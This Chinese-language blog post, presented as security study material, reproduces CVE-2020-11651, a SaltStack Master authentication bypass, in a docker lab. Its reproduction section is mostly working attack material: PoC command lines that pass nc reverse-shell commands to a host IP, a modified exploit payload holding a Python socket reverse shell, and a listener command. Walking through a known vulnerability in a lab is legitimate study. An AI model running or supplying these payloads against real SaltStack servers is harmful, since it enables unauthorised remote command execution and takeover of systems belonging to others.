渗透测试WEB渗透与网络安全

CVE-2020-11651 水平权限绕过漏洞

2020-05-06  本文已影响0人  半夜菊花茶

本文仅用于安全技术交流学习

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

参考链接:

漏洞环境

下载docker-compose.yml

执行如下命令启动一个SaltStack Master服务:

docker-compose up -d

环境启动后,将会在本地监听如下端口:

漏洞复现

首先获取PoC代码,需要python3的环境,先安装依赖包pip install salt

举例如下:

./cve-2020-11651.py 192.168.134.13 master 'nc 192.168.134.13 4444 -e "/bin/bash"'

./cve-2020-11651.py 192.168.134.13 minions 'nc 192.168.134.13 4444 -e "/bin/bash"'

./cve-2020-11651.py 192.168.134.13 fetchkeyonly

如果环境中没有nc,也可以修改PoC代码,使用python直接构造反弹shell。代码中的payload由

msg = {"key":root_key,
            "cmd":"runner",
            'fun': 'salt.cmd',
            "kwarg":{
                "fun":"cmd.exec_code",
                "lang":"python3",
                "code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
                },
            'jid': '20200504042611133934',
            'user': 'sudo_user',
            '_stamp': '2020-05-04T04:26:13.609688'}

改为:

msg = {"key":root_key,
            "cmd":"runner",
            'fun': 'salt.cmd',
            "kwarg":{
                "fun":"cmd.exec_code",
                "lang":"python3",
                "code":"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.134.13",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"
                },
            'jid': '20200504042611133934',
            'user': 'sudo_user',
            '_stamp': '2020-05-04T04:26:13.609688'}

控制端开启nc接受反弹shell

nc -lvnp 4444
image.png
上一篇下一篇

猜你喜欢

热点阅读